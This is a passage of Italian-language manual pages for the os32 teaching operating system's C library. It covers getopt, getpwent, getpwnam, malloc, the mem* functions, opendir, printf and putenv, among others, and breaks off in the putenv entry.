Per comprendere l'uso della funzione ***getopt()*** si propone una versione ultraridotta di *kill(1)* [111.12], dove si ammette solo l'invio dei segnali SIGTERM e SIGQUIT.

```
#include <sys/os32.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <libgen.h>
//----------------------------------------------------------------------
int
main (int argc, char *argv[], char *envp[])
{
  int          signal = SIGTERM;
  int          pid;
  int          a;             // Index inside arguments.
  int          opt;
  extern char *optarg;
  extern int   optopt;
  //
  while ((opt = getopt (argc, argv, ":ls:")) != -1)
    {
      switch (opt)
        {
          case 'l':
            printf ("TERM ");
            printf ("KILL ");
            printf ("\n");
            return (0);
            break;
          case 's':
            if (strcmp (optarg, "KILL") == 0)
              {
                signal = SIGKILL;
              }
            else if (strcmp (optarg, "TERM") == 0)
              {
                signal = SIGTERM;
              }
            break;
```

```
          case '?':
            fprintf (stderr, "Unknown option -%c.\n", optopt);
            return (1);
            break;
          case ':':
            fprintf (stderr, "Missing argument for option "
                             "-%c\n", optopt);
            return (1);
            break;
          default:
            fprintf (stderr, "Getopt problem: unknown option "
                             "%c\n", opt);
            return (1);
        }
    }
  //
  // Scan other command line arguments.
  //
  for (a = optind; a < argc; a++)
    {
      pid = atoi (argv[a]);
      if (pid > 0)
        {
          if (kill (pid, signal) < 0)
            {
              perror (argv[a]);
            }
        }
    }
  return (0);
}
```

Come si vede nell'esempio, la funzione ***getopt()*** viene chiamata sempre nello stesso modo, all'interno di un ciclo iterativo.

Alla prima chiamata della funzione, questa esamina il primo argomento della riga di comando, verificando se si tratta di un'opzione o meno. Se si tratta di un'opzione, benché possa essere errata per qualche ragione, restituisce un carattere (convertito a intero), il quale può corrispondere alla lettera dell'opzione se questa è valida, oppure a un simbolo differente in caso di problemi. Nelle chiamate successive, ***getopt()*** considera di volta in volta gli argomenti successivi della riga di comando, fino a quando si accorge che non ci sono più opzioni e restituisce semplicemente il valore -1.

Durante la scansione delle opzioni, se ***getopt()*** restituisce il carattere '`?`', significa che ha incontrato un'opzione errata: potrebbe trattarsi di un'opzione non prevista, oppure di un'opzione che attende un argomento che non c'è. Tuttavia, la stringa ***optstring*** potrebbe iniziare opportunamente con il simbolo di due punti, così come si vede nell'esempio. In tal caso, se ***getopt()*** incontra un'opzione errata in quanto mancante di un'opzione necessaria, invece di restituire '`?`', restituisce '`:`', così da poter distinguere il tipo di errore.

È il caso di osservare che le chiamate successive di ***getopt()*** fanno progredire la scansione della riga di comando e generalmente non c'è bisogno di tornare indietro per ripeterla. Tuttavia, nel caso lo si volesse, basterebbe reinizializzare la variabile ***optind*** a uno (il primo argomento della riga di comando).

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/getopt.c`' [120.21.23]

113.56 os32: getpwent(3)

NOME

'**`getpwent`**', '**`setpwent`**', '**`endpwent`**' - accesso alle voci del file '`/etc/passwd`'

SINTASSI

```
#include <sys/types.h>
#include <pwd.h>
struct passwd *getpwent (void);
void           setpwent (void);
void           endpwent (void);
```

DESCRIZIONE

La funzione ***getpwent()*** restituisce il puntatore a una variabile strutturata, di tipo '**`struct passwd`**', come definito nel file '`pwd.h`', in cui si possono trovare le stesse informazioni contenute nelle voci (righe) del file '`/etc/passwd`', separate in campi. La prima volta, nella variabile struttura a cui punta la funzione si ottiene il contenuto della prima voce, ovvero del primo utente dell'elenco; nelle chiamate successive si ottengono le altre.

Si utilizza la funzione ***setpwent()*** per ripartire dalla prima voce del file '`/etc/passwd`'; si utilizza invece la funzione ***endpwent()*** per chiudere il file '`/etc/passwd`' quando non serve più.

Il tipo '**`struct passwd`**' è definito nel file '`pwd.h`' nel modo seguente:

```
struct passwd {
    char   *pw_name;
    char   *pw_passwd;
    uid_t   pw_uid;
    gid_t   pw_gid;
    char   *pw_gecos;
    char   *pw_dir;
    char   *pw_shell;
};
```

La sequenza dei campi della struttura corrisponde a quella contenuta nel file '`/etc/passwd`'.

VALORE RESTITUITO

La funzione ***getpwent()*** restituisce il puntatore a una variabile strutturata di tipo '**`struct passwd`**', se l'operazione ha avuto successo. Se la scansione del file '`/etc/passwd`' ha raggiunto il termine, oppure se si è verificato un errore, restituisce invece il valore '**`NULL`**'. Per poter distinguere tra la conclusione del file o il verificarsi di un errore, prima della chiamata della funzione occorre azzerare il valore della variabile ***errno***, verificando successivamente se ha acquisito un valore differente.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

DIFETTI

Nel file '`/etc/passwd`' non è possibile lasciare campi vuoti, anche se questi non sono usati, perché la scansione avviene con la funzione ***strtok()***.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/pwd.h`' [120.9]

'`lib/pwd/pwent.c`' [120.9.1]

VEDERE ANCHE

getpwnam(3) [113.57], *getpwuid(3)* [113.57], *passwd(5)* [115.4].

113.57 os32: getpwnam(3)

NOME

'**`getpwnam`**', '**`getpwuid`**' - selezione di una voce dal file '`/etc/passwd`'

SINTASSI

```
#include <sys/types.h>
#include <pwd.h>
struct passwd *getpwnam (const char *name);
struct passwd *getpwuid (uid_t uid);
```

DESCRIZIONE

La funzione ***getpwnam()*** restituisce il puntatore a una variabile strutturata, di tipo '**`struct passwd`**', come definito nel file '`pwd.h`', contenente le informazioni sull'utenza specificata per nome, dal '`/etc/passwd`'. La funzione ***getpwuid()*** si comporta in modo analogo, individuando però l'utenza da selezionare in base al numero UID.

Il tipo '**`struct passwd`**' è definito nel file '`pwd.h`' nel modo seguente:

```
struct passwd {
    char  *pw_name;
    char  *pw_passwd;
    uid_t  pw_uid;
    gid_t  pw_gid;
    char  *pw_gecos;
    char  *pw_dir;
    char  *pw_shell;
};
```

La sequenza dei campi della struttura corrisponde a quella contenuta nel file '`/etc/passwd`'.

VALORE RESTITUITO

Le funzioni ***getpwnam()*** e ***getpwuid()*** restituiscono il puntatore a una variabile strutturata di tipo '**`struct passwd`**', se l'operazione ha avuto successo. Se il nome o il numero dell'utente non si trovano nel file '`/etc/passwd`', oppure se si presenta un errore, il valore restituito è '**`NULL`**'. Per poter distinguere tra una voce non trovata o il verificarsi di un errore di accesso al file '`/etc/passwd`', prima della chiamata della funzione occorre azzerare il valore della variabile ***errno***, verificando successivamente se ha acquisito un valore differente.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il file da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'lib/pwd.h' [120.9]

'lib/pwd/pwent.c' [120.9.1]

VEDERE ANCHE

getpwent(3) [113.56], *setpwent(3)* [113.56], *endpwent(3)* [113.56], *passwd(5)* [115.4].

113.58 os32: getpwuid(3)

Vedere *getpwnam(3)* [113.57].

113.59 os32: gets(3)

Vedere *fgets(3)* [113.33].

113.60 os32: gmtime(3)

Vedere *ctime(3)* [113.14].

113.61 os32: imaxabs(3)

Vedere *abs(3)* [113.3].

113.62 os32: imaxdiv(3)

Vedere *div(3)* [113.16].

113.63 os32: input_line(3)

NOME

'**input_line**' - riga di comando

SINTASSI

```
#include <sys/os32.h>
void input_line (char *line, char *prompt, size_t size, int type);
```

DESCRIZIONE

La funzione ***input_line()*** consente di inserire un'informazione da tastiera, interpretando in modo adeguato i codici usati per cancellare. Si tratta del mezzo principale di inserimento di un dato da tastiera per os32.

Il parametro ***line*** è il puntatore a un'area di memoria, da modificare con l'inserimento che si intende fare; questa area di memoria deve essere in grado di contenere tanti byte quanto indicato con il parametro ***size***. Il parametro ***prompt*** indica una stringa da usare

come invito, a sinistra della riga da inserire. Il parametro ***type*** serve a specificare il tipo di visualizzazione sullo schermo di ciò che si inserisce. Si utilizzano della macro-variabili dichiarate nel file '`sys/os32.h`':

Macro-variabile	Descrizione
`INPUT_LINE_ECHO`	Produce un comportamento «normale», per cui ciò che viene digitato è rappresentato conformemente sullo schermo del terminale.
`INPUT_LINE_HIDDEN`	Fa sì che quanto digitato non appaia: si usa per esempio per l'inserimento di una parola d'ordine.

La funzione conclude il suo funzionamento quando si preme [*Invio*].

VALORE RESTITUITO

La funzione non restituisce alcunché, ma ciò che viene digitato è disponibile nella memoria tampone rappresentata dal puntatore ***line***, da intendere come stringa terminata correttamente.

FILE SORGENTI

'`lib/sys/os32.h`' [120.15]

'`lib/sys/os32/input_line.c`' [120.15.1]

VEDERE ANCHE

shell(1) [111.22].

login(1) [111.14].

113.64 os32: isatty(3)

NOME

'**`isatty`**' - verifica che un certo descrittore di file si riferisca a un terminale

SINTASSI

```
#include <unistd.h>
int isatty (int fdn);
```

DESCRIZIONE

La funzione ***isatty()*** verifica se il descrittore di file specificato con il parametro ***fdn*** si riferisce a un dispositivo di terminale.

VALORE RESTITUITO

Valore	Significato
1	Si tratta effettivamente del file di dispositivo di un terminale.
0	Il descrittore di file non riguarda un terminale, oppure si è verificato un errore; in ogni caso la variabile ***errno*** viene aggiornata.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Il descrittore di file non si riferisce a un terminale.
`EBADF`	Il descrittore di file indicato non è valido.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/isatty.c`' [120.21.28]

VEDERE ANCHE

stat(2) [112.45], *ttyname(3)* [113.126].

113.65 os32: labs(3)

Vedere *abs(3)* [113.3].

113.66 os32: ldiv(3)

Vedere *div(3)* [113.16].

113.67 os32: llabs(3)

Vedere *abs(3)* [113.3].

113.68 os32: lldiv(3)

Vedere *div(3)* [113.16].

113.69 os32: major(3)

Vedere *makedev(3)* [113.70].

113.70 os32: makedev(3)

NOME

'**`makedev`**', '**`major`**', '**`minor`**' - gestione dei numeri di dispositivo

SINTASSI

```
#include <sys/types.h>
dev_t makedev (int major, int minor);
int   major   (dev_t device);
int   minor   (dev_t device);
```

DESCRIZIONE

La funzione ***makedev()*** restituisce il numero di dispositivo complessivo, partendo dal numero primario (***major***) e dal numero secondario (***minor***), presi separatamente.

Le funzioni ***major()*** e ***minor()***, rispettivamente, restituiscono il numero primario o il numero secondario, partendo da un numero di dispositivo completo.

Si tratta di funzioni non previste dallo standard, ma ugualmente diffuse.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/sys/types/makedev.c`' [120.17.2]

'`lib/sys/types/major.c`' [120.17.1]

'`lib/sys/types/minor.c`' [120.17.3]

113.71 os32: malloc(3)

NOME

'**`malloc`**', '**`free`**', '**`realloc`**' - allocazione e rilascio dinamico di memoria

SINTASSI

```
#include <stdlib.h>
void *malloc (size_t size);
void free (void *address);
void *realloc (void *address, size_t size);
```

DESCRIZIONE

Le funzioni '...**`alloc()`**' e ***free()*** consentono di allocare, riallocare e liberare delle aree di memoria, in modo dinamico.

La funzione ***malloc()*** (*memory allocation*) si usa per richiedere l'allocazione di una dimensione di almeno ***size*** byte di memoria. Se l'allocazione avviene con successo, la funzione restituisce il puntatore generico di tale area allocata.

Quando un'area di memoria allocata precedentemente non serve più, va liberata espressamente con l'ausilio della funzione ***free()***, la quale richiede come argomento il puntatore generico all'inizio di tale area. Naturalmente, si può liberare la memoria una volta sola e un'area di memoria liberata non può più essere raggiunta.

Quando un'area di memoria già allocata richiede una modifica nella sua estensione, si può usare la funzione ***realloc()***, la quale necessita di conoscere il puntatore precedente e la nuova estensione. La funzione restituisce un nuovo puntatore, il quale potrebbe eventualmente, ma non necessariamente, coincidere con quello dell'area originale.

Se le funzioni ***malloc()*** e ***realloc()*** falliscono nel loro intento, restituiscono un puntatore nullo.

VALORE RESTITUITO

Le funzioni ***malloc()*** e ***realloc()*** restituiscono il puntatore generico all'area di memoria allocata; se falliscono, restituiscono invece un puntatore nullo.

ERRORI

Valore di *errno*	Significato
`ENOMEM`	Memoria insufficiente.

FILE SORGENTI

'`lib/limits.h`' [120.1.6]

'`lib/stdlib.h`' [120.13]

'`lib/stdlib_alloc/malloc.c`' [120.13.24]

'`lib/stdlib_alloc/realloc.c`' [120.13.25]

'`lib/stdlib_alloc/free.c`' [120.13.23]

'`lib/stdlib_alloc/_alloc_list.c`' [120.13.22]

113.72 os32: memccpy(3)

NOME

'**`memccpy`**' - copia di un'area di memoria

SINTASSI

```
#include <string.h>
void *memccpy (void *restrict dst, const void *restrict org, int c,
               size_t n);
```

DESCRIZIONE

La funzione ***memccpy()*** copia al massimo ***n*** byte a partire dall'area di memoria a cui punta ***org***, verso l'area che inizia da ***dst***, fermandosi se si incontra il carattere ***c***, il quale viene copiato regolarmente, fermo restando il limite massimo di ***n*** byte.

Le due aree di memoria, origine e destinazione, non devono sovrapporsi.

VALORE RESTITUITO

Nel caso in cui la copia sia avvenuta con successo, fino a incontrare il carattere ***c***, la funzione restituisce il puntatore al carattere successivo a ***c***, nell'area di memoria di destinazione. Se invece tale carattere non viene trovato nei primi ***n*** byte, restituisce il puntatore nullo '**`NULL`**'. La variabile ***errno*** non viene modificata.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/memccpy.c`' [120.14.1]

VEDERE ANCHE

memcpy(3) [113.75], *memmove(3)* [113.76], *strcpy(3)* [113.110], *strncpy(3)* [113.110].

113.73 os32: memchr(3)

NOME

'**memchr**' - scansione della memoria alla ricerca di un carattere

SINTASSI

```
#include <string.h>
void *memchr (const void *memory, int c, size_t n);
```

DESCRIZIONE

La funzione ***memchr()*** scandisce l'area di memoria a cui punta ***memory***, fino a un massimo di ***n*** byte, alla ricerca del carattere ***c***.

VALORE RESTITUITO

Se la funzione trova il carattere, restituisce il puntatore al carattere trovato, altrimenti restituisce il puntatore nullo '**NULL**'.

FILE SORGENTI

'lib/string.h' [120.14]

'lib/string/memchr.c' [120.14.2]

VEDERE ANCHE

strchr(3) [113.107], *strrchr(3)* [113.107], *strpbrk(3)* [113.118].

113.74 os32: memcmp(3)

NOME

'**memcmp**' - confronto di due aree di memoria

SINTASSI

```
#include <string.h>
int memcmp (const void *memory1, const void *memory2, size_t n);
```

DESCRIZIONE

La funzione ***memcmp()*** confronta i primi ***n*** byte di memoria delle aree che partono, rispettivamente, da ***memory1*** e da ***memory2***.

VALORE RESTITUITO

Valore	Esito del confronto.
−1	***memory1 < memory2***
0	***memory1 == memory2***
+1	***memory1 > memory2***

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/memcmp.c`' [120.14.3]

VEDERE ANCHE

strcmp(3) [113.108], *strncmp(3)* [113.108].

113.75 os32: memcpy(3)

NOME

'**`memcpy`**' - copia di un'area di memoria

SINTASSI

```
#include <string.h>
void *memcpy (void *restrict dst, const void *restrict org,
              size_t n);
```

DESCRIZIONE

La funzione ***memcpy()*** copia al massimo ***n*** byte a partire dall'area di memoria a cui punta ***org***, verso l'area che inizia da ***dst***.

Le due aree di memoria, origine e destinazione, non devono sovrapporsi.

VALORE RESTITUITO

La funzione restituisce ***dst***.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/memcpy.c`' [120.14.4]

VEDERE ANCHE

memccpy(3) [113.72], *memmove(3)* [113.76], *strcpy(3)* [113.110], *strncpy(3)* [113.110].

113.76 os32: memmove(3)

NOME

'**`memmove`**' - copia di un'area di memoria

SINTASSI

```
#include <string.h>
void *memmove (void *dst, const void *org, size_t n);
```

DESCRIZIONE

La funzione ***memmove()*** copia al massimo ***n*** byte a partire dall'area di memoria a cui punta ***org***, verso l'area che inizia da ***dst***. A differenza di quanto fa ***memcpy()***, la funzione ***memmove()*** esegue la copia correttamente anche se le due aree di memoria sono sovrapposte.

VALORE RESTITUITO

La funzione restituisce ***dst***.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/memmove.c`' [120.14.5]

VEDERE ANCHE

memccpy(3) [113.72], *memcpy(3)* [113.75], *strcpy(3)* [113.110], *strncpy(3)* [113.110].

113.77 os32: memset(3)

NOME

'**`memset`**' - scrittura della memoria con un byte sempre uguale

SINTASSI

```
#include <string.h>
void *memset (void *memory, int c, size_t n);
```

DESCRIZIONE

La funzione ***memset()*** scrive ***n*** byte, contenenti il valore di ***c***, ridotto a un carattere, a partire dal ciò a cui punta ***memory***.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/memset.c`' [120.14.6]

VEDERE ANCHE

memcpy(3) [113.75].

113.78 os32: minor(3)

Vedere *makedev(3)* [113.70].

113.79 os32: mktime(3)

Vedere *ctime(3)* [113.14].

113.80 os32: namep(3)

NOME

'**namep**' - ricerca del percorso di un programma utilizzando la variabile di ambiente ***PATH***

SINTASSI

```
#include <sys/os32.h>
int namep (const char *name, char *path, size_t size);
```

DESCRIZIONE

La funzione ***namep()*** trova il percorso di un programma, tenendo conto delle informazioni contenute nella variabile di ambiente ***PATH***.

Il parametro ***name*** rappresenta una stringa con il nome del comando da cercare nel file system; il parametro ***path*** deve essere il puntatore di un'area di memoria, da sovrascrivere con il percorso assoluto del programma da avviare, una volta trovato, con l'accortezza di far sì che risulti una stringa terminata correttamente; il parametro ***size*** specifica la dimensione massima che può avere la stringa ***path***.

Questa funzione viene utilizzata in particolare da ***execvp()***.

VALORE RESTITUITO

Valore	Significato
0	Operazione riuscita.
−1	Operazione fallita. Va verificato l'errore indicato dalla variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Uno degli argomenti non è valido.
`ENOENT`	La variabile di ambiente ***PATH*** non è dichiarata, oppure il comando richiesto non si trova nei percorsi previsti.
`ENAMETOOLONG`	Il percorso per l'avvio del programma è troppo lungo.

FILE SORGENTI

'`lib/sys/os32.h`' [120.15]

'`lib/sys/os32/namep.c`' [120.15.3]

VEDERE ANCHE

shell(1) [111.22], *execvp(3)* [113.20], *execlp(3)* [113.20].

113.81 os32: offsetof(3)

NOME

'**offsetof**' - posizione di un membro di una struttura, dall'inizio della stessa

SINTASSI

```
#include <stddef.h>
size_t offsetof (type, member);
```

DESCRIZIONE

La macro-istruzione ***offsetof()*** consente di determinare la collocazione relativa di un membro di una variabile strutturata, restituendo la quantità di byte che la struttura occupa prima dell'inizio del membro richiesto. Per ottenere questo risultato, il primo argomento deve essere il nome del tipo del membro cercato, mentre il secondo argomento deve essere il nome del membro stesso.

VALORE RESTITUITO

La macro-istruzione restituisce lo scostamento del membro specificato, rispetto all'inizio della struttura a cui appartiene, espresso in byte.

FILE SORGENTI

'`lib/stddef.h`' [120.1.12]

113.82 os32: opendir(3)

NOME

'**opendir**' - apertura di una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
DIR *opendir (const char *name);
```

DESCRIZIONE

La funzione ***opendir()*** apre la directory rappresentata da ***name***, posizionando l'indice interno per le operazioni di accesso alla prima voce della directory stessa.

VALORE RESTITUITO

La funzione restituisce il puntatore al flusso aperto; in caso di errore, restituisce '**NULL**' e aggiorna la variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Il valore di ***name*** non è valido.
`EMFILE`	Troppi file aperti dal processo.
`ENFILE`	Troppi file aperti complessivamente nel sistema.
`ENOTDIR`	Il percorso indicato in ***name*** non corrisponde a una directory.

NOTE

La funzione ***opendir()*** attiva il bit *close-on-exec*, rappresentato dalla macro-variabile ***FD_CLOEXEC***, per il descrittore del file che rappresenta la directory. Ciò serve a garantire che la directory venga chiusa quando si utilizzano le funzioni '**exec...()**'.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/dirent.h`' [120.3]

'`lib/dirent/DIR.c`' [120.3.1]

'`lib/dirent/opendir.c`' [120.3.3]

VEDERE ANCHE

open(2) [112.32], *closedir(3)* [113.12], *readdir(3)* [113.91], *rewinddir(3)* [113.94].

113.83 os32: perror(3)

NOME

'**perror**' - emissione di un messaggio di errore di sistema

SINTASSI

```
#include <stdio.h>
void perror (const char *string);
```

DESCRIZIONE

La funzione ***perror()*** legge il valore della variabile ***errno*** e, se questo è diverso da zero, emette attraverso lo standard output la stringa fornita come argomento, ammesso che non si tratti del puntatore nullo, quindi continua con l'emissione della descrizione dell'errore.

La funzione ***perror()*** di os32, nell'emettere il testo dell'errore, mostra anche il nome del file sorgente e il numero della riga in cui si è verificato. Ma questi dati sono validi soltanto se l'annotazione dell'errore è avvenuta, a suo tempo, con l'ausilio della funzione *errset(3)* [113.19], la quale non è prevista dagli standard.

FILE SORGENTI

'`lib/errno.h`' [120.4]

'`lib/stdio.h`' [120.12]

'`lib/stdio/perror.c`' [120.12.26]

VEDERE ANCHE

errno(3) [113.19], *strerror(3)* [113.113].

113.84 os32: printf(3)

NOME

'**`printf`**', '**`fprintf`**', '**`sprintf`**', '**`snprintf`**' - composizione dei dati per la visualizzazione

SINTASSI

```
#include <stdio.h>
int printf   (char *restrict format, ...);
int fprintf  (FILE *fp, char *restrict format, ...);
int sprintf  (char *restrict string,
              const char *restrict format, ...);
int snprintf (char *restrict string, size_t size,
              const char *restrict format, ...);
```

DESCRIZIONE

Le funzioni del gruppo '...**`printf()`**' hanno in comune lo scopo di comporre dei dati in forma di stringa, generalmente per la visualizzazione, o comunque per la fruizione a livello umano.

I dati in ingresso possono essere vari e si collocano come argomenti finali, di tipo e quantità non noti nel prototipo delle funzioni. Per quantificare e qualificare questi argomenti aggiuntivi, la stringa a cui punta il parametro ***format***, deve contenere degli ***specificatori di conversione***, oltre eventualmente ad altri caratteri. Pertanto, queste funzioni, prendono la stringa a cui punta ***format***, la interpretano e determinano quali argomenti variabili sono presenti, quindi producono un'altra stringa, composta dalla stringa precedente, sostituendo gli specificatori di conversione con i dati a cui questi si riferiscono, secondo una forma di conversione definita dagli specificatori stessi. Si osservi l'esempio seguente:

```
printf ("Valore: %x %i %o\n", 123, 124, 125);
```

In questo modo si ottiene la visualizzazione, attraverso lo standard output, della stringa '**`Valore: 7b 124 175`**'. Infatti: '**`%x`**' è uno specificatore di conversione che richiede di interpretare il proprio parametro (in questo caso il primo) come intero normale e di rappresentarlo in esadecimale; '**`%i`**' legge un numero intero normale e lo rappresenta nella forma decimale consueta; '**`%o`**' legge un intero e lo mostra in ottale.

La funzione ***printf()*** emette il risultato della composizione attraverso lo standard output; la funzione ***fprintf()*** lo fa attraverso il flusso di file ***fp***; le funzioni ***sprintf()*** e ***snprintf()***

si limitano a scrivere il risultato a partire da ciò a cui punta ***string***, con la particolarità di ***snprintf()*** che si dà comunque un limite da non superare, per evitare che la scrittura vada a sovrascrivere altri dati in memoria.

Gli specificatori di conversione devono rispettare la sintassi seguente per la libreria di os32:

% [***simbolo***] [***n_ampiezza***] [**.*n_precisione***] [hh|h|l|ll|j|z|t] ***tipo***

La prima cosa da individuare in uno specificatore di conversione è il tipo di argomento che viene interpretato e, di conseguenza, il genere di rappresentazione che se ne vuole produrre. Il tipo viene espresso da una lettera alfabetica, alla fine dello specificatore di conversione.

Simbolo	Tipo di argomento	Conversione applicata
`%...d` `%...i`	`int`	Numero intero con segno da rappresentare in base dieci.
`%...u`	`unsigned int`	Numero intero senza segno da rappresentare in base dieci.
`%...o`	`unsigned int`	Numero intero senza segno da rappresentare in ottale (senza lo zero iniziale che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%...x` `%...X`	`unsigned int`	Numero intero senza segno da rappresentare in esadecimale (senza il prefisso '**`0x`**' o '**`0X`**' che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%...c`	`int`	Un carattere singolo, dopo la conversione in '**`unsigned char`**'.
`%...b`	`unsigned int`	Numero intero senza segno da rappresentare in binario (si tratta di un'estensione non prevista nello standard).
`%...s`	`char *`	Una stringa.
`%%`		Questo specificatore si limita a produrre un carattere di percentuale ('**`%`**') che altrimenti non sarebbe rappresentabile.

Nel modello sintattico che descrive lo specificatore di conversione, si vede che subito dopo il segno di percentuale può apparire un simbolo (*flag*).

Simbolo	Corrispondenza
`%+...` `%+0`***ampiezza***...	Il segno «+» fa sì che i numeri con segno lo mostrino anche se è positivo. Può combinarsi con lo zero.
`%0`***ampiezza***... `%+0`***ampiezza***...	Lo zero fa sì che siano inseriti degli zeri a sinistra per allineare a destra il valore, nell'ambito dell'ampiezza specificata. Può combinarsi con il segno «+».
`%`***ampiezza***... `% `***ampiezza***...	In mancanza di uno zero iniziale, in presenza dell'indicazione dell'ampiezza, il valore viene allineato a destra usando degli spazi. È possibile esprimere esplicitamente l'intenzione di usare gli spazi mettendo proprio uno spazio, ma in generale non è richiesto. Se si mette lo spazio letteralmente, questo non è poi compatibile con lo zero, mentre le combinazioni con gli altri simboli sono ammissibili.
`%-`***ampiezza***... `%-+`***ampiezza***...	Il segno meno, usato quando la conversione prevede l'uso di una quantità fissa di caratteri con un valore che appare di norma allineato a destra, fa sì che il risultato sia allineato a sinistra. Il segno meno si può combinare il segno «+» e il cancelletto.

Subito prima della lettera che definisce il tipo di conversione, possono apparire una o due lettere che modificano la lunghezza del valore da interpretare (per lunghezza si intende qui la quantità di byte usati per rappresentarlo). Per esempio, '**`%...li`**' indica che la conversione riguarda un valore di tipo '**`long int`**'. Tra questi specificatori della lunghezza del dato in ingresso ce ne sono alcuni che indicano un rango inferiore a quello di '**`int`**', come per esempio '**`%...hhd`**' che si riferisce a un numero intero della dimensione di un '**`signed char`**'; in questi casi occorre comunque considerare che nella trasmissione degli argomenti alle funzioni interviene sempre la promozione a intero, pertanto viene letto il dato della dimensione specificata, ma viene «consumato» il risultato ottenuto dalla promozione.

Simbolo	Tipo	Simbolo	Tipo

`%...hhd`
`%...hhi`
	`signed char`	`%...hhu`
		`%...hho`
		`%...hhx` | `%...hhX`
		`%...hhb`
			`unsigned char`

`%...hd`
`%...hi`
	`short int`	`%...hu`
		`%...ho`
		`%...hx` | `%...hX`
		`%...hb`
			`unsigned short int`

<table>
<tr><th>Simbolo</th><th>Tipo</th><th>Simbolo</th><th>Tipo</th></tr>
<tr><td>%…ld
%…li</td><td>long int</td><td>%…lu
%…lo
%…lx | %…lX
%…lb</td><td>unsigned long int</td></tr>
<tr><td>%…lld
%…lli</td><td>long long int</td><td>%…llu
%…llo
%…llx | %…llX
%…llb</td><td>unsigned long long int</td></tr>
</table>

<table>
<tr><th>Simbolo</th><th>Tipo</th><th>Simbolo</th><th>Tipo</th></tr>
<tr><td>%…jd
%…ji</td><td>intmax_t</td><td>%…ju
%…jo
%…jx | %…jX
%…jb</td><td>uintmax_t</td></tr>
</table>

<table>
<tr><th>Simbolo</th><th>Tipo</th><th>Simbolo</th><th>Tipo</th></tr>
<tr><td>%…zd
%…zi</td><td>size_t</td><td>%…zu
%…zo
%…zx | %…zX
%…zb</td><td>size_t</td></tr>
</table>

<table>
<tr><th>Simbolo</th><th>Tipo</th><th>Simbolo</th><th>Tipo</th></tr>
<tr><td>%…td
%…ti</td><td>ptrdiff_t</td><td>%…tu
%…to
%…tx | %…tX
%…tb</td><td>ptrdiff_t</td></tr>
</table>

Tra il simbolo (*flag*) e il modificatore di lunghezza può apparire un numero che rappresenta l'ampiezza da usare nella trasformazione ed eventualmente la precisione: '***ampiezza*** **[** ***.precisione*** **]**'. Per os32, la precisione si applica esclusivamente alle stringhe, la quale specifica la quantità di caratteri da considerare, troncando il resto.

VALORE RESTITUITO

Le funzioni restituiscono la quantità di caratteri utilizzati nella composizione della nuova stringa, escluso il carattere nullo di terminazione.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`lib/stdio/fprintf.c`' [120.12.12]

'`lib/stdio/printf.c`' [120.12.27]

'`lib/stdio/sprintf.c`' [120.12.35]

'`lib/stdio/snprintf.c`' [120.12.34]

VEDERE ANCHE

vfprintf(3) [113.130], *vprintf(3)* [113.130], *vsprintf(3)* [113.130], *vsnprintf(3)* [113.130], *scanf(3)* [113.95].

113.85 os32: putc(3)

Vedere *fputc(3)* [113.37].

113.86 os32: putchar(3)

Vedere *fputc(3)* [113.37].

113.87 os32: putenv(3)

NOME

'**`putenv`**' - assegnamento di una variabile di ambiente

SINTASSI

```
#include <stdlib.h>
int putenv (const char *string);
```

DESCRIZIONE

La funzione ***putenv()*** assegna una variabile di ambiente. Se questa esiste già, va a rimpiazzare il valore assegnatole in precedenza, altrimenti la crea contestualmente.

La funzione richiede un solo parametro, costituito da una stringa in cui va specificato il nome della variabile e il contenuto da assegnargli, usando la forma '***nome*=*valore***'. Per esempio, '**`PATH=/bin:/usr/bin`**'.

VALORE RESTITUITO

Valore	Significato
0	Operazione riuscita.
−1	Operazione fallita. Va verificato l'errore indicato dalla variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Argomento non valido.
`ENOMEM`	Memoria insufficiente.

FILE SORGENTI

'`lib/stdlib.h`' [120.13]

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`lib/stdlib/environment.c`' [120.13.8]

'`lib/stdlib/putenv.c`' [120.13.15]

VEDERE ANCHE

